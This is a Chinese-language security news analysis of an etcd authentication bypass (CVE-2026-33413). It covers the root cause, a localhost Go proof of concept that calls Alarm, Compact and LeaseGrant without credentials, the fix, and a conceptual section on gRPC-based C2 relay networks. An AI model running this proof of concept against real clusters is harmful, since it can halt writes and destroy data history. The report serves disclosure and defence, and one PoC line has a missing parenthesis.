摘要

這份報告詳細說明了在 etcd 中發現的重大身分驗證繞過漏洞 (CVE-2026-33413)。etcd 是一個廣泛用於分散式系統的分散式鍵值存儲(Distributed key-value store )。該漏洞允許未經身分驗證或權限不足的呼叫者叫用敏感方法，繞過預期的存取控制。這份報告提供了完整的漏洞技術分析，包括其在 etcd 身分驗證機制中的根本原因(Root cause)、概念驗證(Proof of concept)以及建議的修復方式。報告也融入了關於 gRPC 通訊與分散式 C2 網路的相關安全研究觀點，以呈現此類繞過漏洞在現代系統架構中更廣泛的影響。

不需落地、不需後門：透過 etcd 認證繞過與 gRPC 建立隱蔽控制通道 | 資訊安全新聞

1. 簡介

etcd 是許多分散式系統的基礎元件，提供可靠且一致的鍵值存儲。由於其關鍵角色，etcd 需要強健的安全措施，特別是在身分驗證與授權方面。最近，在 etcd 中發現了一個重大的身分驗證繞過漏洞，編號為 CVE-2026-33413 (CVSS 8.8) [1] 。此漏洞允許未經授權的存取存取重要的管理功能，對依賴 etcd 的系統之完整性與可用性構成重大風險。

這份報告目的在深入剖析 CVE-2026-33413 的技術細節，提供對繞過如何發生及其潛在影響的深入理解。我們將檢視導致漏洞的架構缺陷，分析涉及的特定程式碼區段，並討論建議的修復方式。此外，我們將與其他進階安全概念進行比較，例如惡意環境中的 gRPC 通訊與分散式命令與控制（C2）網路，以突顯在複雜分散式環境中身分驗證繞過的廣泛影響 [2] [3] 。

2. CVE-2026-33413 技術分析

2.1. 漏洞概述

CVE-2026-33413 的核心問題在於 etcd 的身分驗證機制，特別是在 authApplierV3 元件中。當啟用身分驗證時， authApplierV3 的設計是包覆底層的 Applier chain，以對各種操作強制執行權限。然而，某些關鍵的方法並未在這個包覆層中被明確覆寫，導致身分驗證檢查被繞過 [1] 。

受影響的方法包括：

  • Maintenance.Alarm ：允許觸發或清除叢集警報（例如 Nospace, Corrupt）。
  • KV.Compact ：能夠觸發資料庫壓縮，可能導致資料遺失或阻斷服務 (DoS)。
  • Lease.LeaseGrant ：允許建立租約，可能耗盡記憶體或其他資源。

這些操作在沒有適當身分驗證的情況下被叫用時，任何能夠存取客戶端 gRPC 端點（連接埠 2379）的使用者都可以利用，即使使用的是未經身分驗證或權限不足的認證(Credentials)。負責處理這些操作的後端 applier 假設授權已經執行完畢，因此不會進行二次檢查就直接執行 [1] 。

2.2. 架構缺陷

etcd 伺服器架構會透過一連串的 applier 來處理請求。 authApplierV3 （位於 server/etcdserver/apply/auth.go ）的設計目的是透過包覆主要 applier 來強制執行權限。然而， authApplierV3 的實作只為一部分方法提供了明確的覆寫，例如 Put 、 Range 、 DeleteRange 、 Txn 以及身分驗證管理方法。關鍵的是，像 Alarm 、 Compaction 和 LeaseGrant 這樣的方法被遺漏在這個明確覆寫清單之外 [1] 。

由於 authApplierV3 嵌入了包含這些方法的介面，對未覆寫方法的呼叫會直接傳遞給內嵌的後端實作（通常是 applierV3Backend ）。這使得這些敏感操作能夠在沒有任何身分驗證或授權檢查的情況下執行，因為 applierV3Backend 假設這類檢查已經在 Applier chain的上游完成 [1] 。

RPC 層（ v3rpc ）也依賴這個 Applier chain 來進行授權。對於 Alarm 、 Compaction 和 LeaseGrant ，RPC handlers（ maintenanceServer 、 kvServer 、 leaseServer ）會將請求轉發給 Raft，然後 applier 在沒有二次檢查的情況下執行它們 [1] 。

graph TD A["Client gRPC Endpoint
(Port 2379)"] --> B{"RPC Layer
(v3rpc)"} B --> C{"RPC Handlers
(maintenanceServer,
kvServer,
leaseServer)"} C --> D[Raft Consensus Module] D --> E{authApplierV3} E -- "Un-overridden Methods
(Alarm, Compact,
LeaseGrant)" --> F["applierV3Backend
(Executes
without Auth Check)"] E -- "Overridden Methods
(Put, Range,
DeleteRange, Txn)" --> G[Auth Check
in authApplierV3] G --> F

圖 1：帶有身分驗證繞過點的 etcd 請求流程

3. 概念驗證 (Proof of Concept, PoC)

為了驗證此漏洞的可利用性，建立了一個可重現的環境設定與測試流程 [1] 。

3.1. 環境設定

以下步驟概述了展示此繞過漏洞的環境設定： 

# 1) Start a local etcd server
etcd \
  --listen-client-urls http://127.0.0.1:2379 \
  --advertise-client-urls http://127.0.0.1:2379

# 2) Create root user and enable auth
etcdctl user add root:rootpass
etcdctl user grant-role root root
etcdctl auth enable

3.2. 重現流程

一旦 etcd 伺服器在啟用身分驗證的情況下執行，可以透過執行以下一系列動作（以未經身分驗證的客戶端或非管理員使用者的身分）來重現此繞過漏洞 [1] ：

  1. 以未經身分驗證的客戶端連線到 etcd。
  2. 使用 ACTIVATE 和 NOSPACE 參數呼叫 Maintenance.Alarm 。觀察到警報可以被啟動。
  3. 呼叫 KV.Compact 。觀察到壓縮動作會進行。
  4. 呼叫 Lease.LeaseGrant 。觀察到租約建立成功。

下方的 Go 語言程式碼片段說明了如何透過程式方式進行這些呼叫： 

  1. //Establish a Maintenance Client to perform maintenance-related operations.
  2. ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
  3. defer cancel()
  5. // Create a Maintenance Client to perform maintenance-related operations
  6. maint := etcdserverpb.NewMaintenanceClient(cli.ActiveConnection()
  7. // Send an alarm request to trigger a NOSPACE warning.
  8. _, alarmErr := maint.Alarm(ctx, &etcdserverpb.AlarmRequest{
  9. 	Action: etcdserverpb.AlarmRequest_ACTIVATE,
  10. 	Alarm:  etcdserverpb.AlarmType_NOSPACE,
  11. })
  13. // Create a KV Client to manipulate key-value data
  14. kv := etcdserverpb.NewKVClient(cli.ActiveConnection())
  15. // Send a Compact request to compress data prior to revision 1.
  16. _, compactErr := kv.Compact(ctx, &etcdserverpb.CompactionRequest{
  17. 	Revision: 1,
  18. 	Physical: true,
  19. })
  21. // Create a Lease Client to manage leases
  22. lease := etcdserverpb.NewLeaseClient(cli.ActiveConnection())
  23. // Send a LeaseGrant request to establish a lease that lasts for 60 seconds.
  24. _, leaseErr := lease.LeaseGrant(ctx, &etcdserverpb.LeaseGrantRequest{
  25. 	TTL: 60,
  26. })

4. 程式碼分析與修復

4.1. auth.go 中的根本原因

漏洞的根本原因定位在 server/etcdserver/apply/auth.go 檔案中。負責包覆 Applier chain 的 authApplierV3 結構定義如下 [1] ： 

  1. type authApplierV3 struct {
  2. 	applierV3
  3. 	as     auth.AuthStore
  4. 	lessor lease.Lessor
  5. 	mu     sync.Mutex
  6. 	authInfo auth.AuthInfo
  7. }

問題在於，像 Alarm 、 Compaction 和 LeaseGrant 這樣的方法並未在這個 authApplierV3 結構中被明確覆寫。因此，當這些方法被叫用時，它們會被傳遞給內嵌的 applierV3 介面實作，而未經過任何身分驗證檢查 [1] 。

4.2. 建議的修補模式

修復方式是在 server/etcdserver/apply/auth.go 中，為受影響的操作實作遺漏的 auth-wrapper 方法。這些新的 handler 在將呼叫委派給底層 applier 之前，會強制執行權限檢查，例如 IsAdminPermitted [1] 。

以下展示 Alarm 方法的代表性修補程式碼： 

  1. func (aa *authApplierV3) Alarm(r *pb.AlarmRequest) (*pb.AlarmResponse, error) {
  2. 	if err := aa.as.IsAdminPermitted(&aa.authInfo); err != nil {
  3. 		return nil, err
  4. 	}
  5. 	return aa.applierV3.Alarm(r)
  6. }

此修補確保任何嘗試叫用 Alarm 方法的行為都必須先通過管理權限檢查。如果呼叫者缺乏必要權限，操作就會被拒絕，從而堵住身分驗證繞過漏洞 [1] 。 Compaction 和 LeaseGrant 方法也應用了類似的修補。

5. 更廣泛的影響：gRPC 與分散式系統安全

etcd 的身分驗證繞過漏洞突顯了保護分散式系統（尤其是那些利用 gRPC 進行服務間通訊的系統）的關鍵考量。雖然 gRPC 提供了高效能和有效率的通訊，但其安全性高度仰賴應用程式層是否正確實作身分驗證與授權。如同在 CVE-2026-33413 中所見，方法覆寫的一個細微疏忽就可能導致重大的安全漏洞。

gRPC 在先進持續威脅 (Advanced Persistent Threats, APTs) 和惡意命令與控制 (Command-and-Control, C2) 基礎設施中的使用，進一步強調了使用 gRPC 之系統中強健安全性的重要性。例如，某些複雜的惡意軟體會利用透過 Tor 網路的 gRPC 來進行具韌性且混淆的 C2 通訊 [2] 。這種方式讓攻擊者能夠建立高度隱蔽且持續的通訊頻道，繞過傳統的安全防禦。這類惡意軟體能夠與 C2 伺服器建立雙向串流以即時推送命令，證明了 gRPC 在不安全環境中的強大能力與潛在的濫用風險 [2] 。

此外，分散式 C2 網路的概念（其中受駭的伺服器充當中繼節點）說明了攻擊者如何隱藏其真實基礎設施並規避溯源 [3] 。在這種情境下，像 etcd 這類關鍵元件中的身分驗證繞過漏洞，可能為攻擊者提供一個立足點，以建立或擴展他們的 C2 網路，使得偵測與緩解變得更加困難。相關研究中所描述的 C2 流量分散式中繼網路架構圖，強調了用於路由惡意命令的 Multi-hop path，有效地隱藏了攻擊者的真實來源 [3] 。

graph TD A[Attacker C2 Server] --> B{"Compromised Server A (IIS Listener)"} B --> C{"Compromised Server B (IIS Listener)"} C --> D{"Compromised Server C (IIS Listener)"} D --> E["Internal Target (Victim D)"] E -- Data Exfiltration --> D D -- Relay Data --> C C -- Relay Data --> B B -- Encrypted Data --> A

圖 2：概念性的分散式 C2 中繼網路

這個脈絡說明了像 CVE-2026-33413 這樣的漏洞並非獨立事件，而是可能在更廣泛、更複雜的攻擊活動中被利用的關鍵弱點。因此，深入理解並嚴格實施 gRPC 與分散式系統的安全最佳實務至關重要。

6. 結論

CVE-2026-33413 在 etcd 中的發現與修復，是一個重要的提醒，說明了對關鍵開源基礎設施持續進行警覺性安全稽核的必要性。該漏洞源於 authApplierV3 中身分驗證檢查的不完整實作，導致未經授權存取敏感的 etcd 操作。技術分析與概念驗證展示了此繞過漏洞被利用的容易程度，突顯了其嚴重性。

etcd 安全團隊的快速回應與修補，凸顯了安全研究人員與專案維護者之間協同合作的重要性。此事件也強化了對分散式系統安全更廣泛的影響，特別是關於使用 gRPC 的通訊，以及這類漏洞可能被整合到像是分散式 C2 網路等進階攻擊方法中的潛在風險。展望未來，開發人員與安全專業人員必須優先考慮完整的身分驗證與授權機制，尤其是在處理像 etcd 這類核心基礎設施元件時，以防止類似的繞過漏洞並維護分散式環境的完整性。

參考資料

  1. How Strix found a critical auth bypass in etcd | Strix
  2. 無檔案攻擊再進化：這款 RAT 如何用 gRPC over Tor 繞過傳統防毒
  3. 為何你的防火牆沒反應？當受駭伺服器轉型為合法外殼下的分散式 C2 節點